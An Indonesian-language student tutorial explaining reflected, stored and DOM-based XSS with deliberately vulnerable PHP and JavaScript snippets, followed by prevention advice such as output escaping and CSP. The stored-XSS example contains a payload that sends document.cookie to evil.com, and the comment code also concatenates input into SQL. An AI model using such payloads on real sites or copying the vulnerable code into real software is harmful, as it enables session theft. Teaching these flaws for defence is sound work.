Halo, teman-teman mahasiswa! Selamat datang di praktikum seru tentang Cross-Site Scripting atau XSS – salah satu vulnerability web yang paling sering ditemuin dan super berbahaya! Bayangkan website kamu kayak browser user yang percaya banget sama data dari server. Tapi kalau ada script jahat "disuntikkan" lewat input user, script itu bisa jalan di browser orang lain: curi cookie, redirect ke situs phishing, atau deface halaman. Kayak virus yang nyebar lewat komentar atau form!
Kita bahas santai, dengan contoh gampang (HTML + PHP sederhana biar bisa dicoba di localhost), dan ilustrasi keren biar langsung klik di otak. Yuk jadi developer yang anti-hack! 🚀
GIF lucu ini nunjukin hacker lagi "nyuntik" script jahat – seru tapi serem ya! 😂
Ilustrasi kartun hacker injecting script – jangan ditiru, ini buat belajar aja!
Apa Itu XSS? 🤔
XSS terjadi saat aplikasi web menampilkan input user langsung tanpa sanitasi/escaping, sehingga script JavaScript dari input bisa dieksekusi di browser user lain.
Ada 3 jenis utama:
- Reflected XSS (Non-Persistent): Script dikirim lewat URL/form, langsung "refleksi" balik ke victim.
- Stored XSS (Persistent): Script disimpan di database, muncul ke semua user yang buka halaman itu.
- DOM-Based XSS: Serangan di sisi client (JavaScript ubah DOM berdasarkan input).
Flowchart step-by-step ini gambarin alur serangan XSS secara jelas – langsung paham prosesnya!
Workflow diagram lain yang super detail – kayak peta petualangan hacker!
Contoh 1: Reflected XSS (Paling Gampang Dicoba!) 🔄
Halaman pencarian rentan (search.php):
<?php
$query = $_GET['q'];
echo "Hasil pencarian untuk: " . $query;
?>
Input normal: ?q=kucing → Tampil "Hasil pencarian untuk: kucing"
Input jahat: ?q=alert('Hacked! 😈')
Hasil: Popup alert "Hacked!" muncul! Hacker bisa ganti alert jadi curi cookie: document.cookie
Diagram reflected XSS ini nunjukin gimana input langsung balik ke victim – klasik banget!
Contoh 2: Stored XSS (Yang Paling Bahaya!) 💾
Komentar blog rentan (comment.php):
// Simpan ke DB tanpa sanitasi
mysqli_query($conn, "INSERT INTO comments (text) VALUES ('$comment')");
// Tampilkan semua komentar
echo $row['text']; // Langsung echo tanpa escaping
User jahat komentar: document.location='<a href="http://evil.com?cookie='+document.cookie">http://evil.com?cookie='+document.cookie</a>
Setiap orang buka blog → Cookie mereka dicuri otomatis!
Ilustrasi stored XSS ini gambarin script disimpan dan nyebar ke banyak user – nightmare!
Contoh 3: DOM-Based XSS 🖥️
JavaScript rentan:
document.getElementById('output').innerHTML = location.hash.substring(1);
URL: #alert('DOM Hacked!') → Script jalan di client tanpa ke server.
Diagram DOM-based XSS – serangan murni di browser!
Cara Mencegah XSS (Wajib Praktikkan!) 🛡️✨
- Escaping Output: Pakai htmlspecialchars() di PHP.
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
Input Validation & Sanitasi: Pakai library seperti HTML Purifier.
Content Security Policy (CSP): Header HTTP yang blokir script inline.
Gunakan Framework Aman: Laravel, Django otomatis escape.
Infografis prevention ini lengkap banget: escaping, sanitizing, CSP – bookmark ya!
Tips prevention lain yang visual – pakai ini biar website aman!
Latihan Seru Buat Kamu! 💪🔥
- Buat halaman search.php rentan, test alert XSS sendiri.
- Perbaiki pakai htmlspecialchars, test lagi (harusnya aman!).
- Buat form komentar stored XSS, terus cegah.
- Coba di labs seperti XSS Game atau PortSwigger Web Academy.
Selamat praktikum, guys! XSS ini kayak monster klasik di web security, tapi kalau kamu paham dan cegah dari awal, website kamu jadi benteng kuat 🔥 Ingat: Always escape output & never trust user input! Keep coding safely and have fun! 🎉🔐
Top comments (0)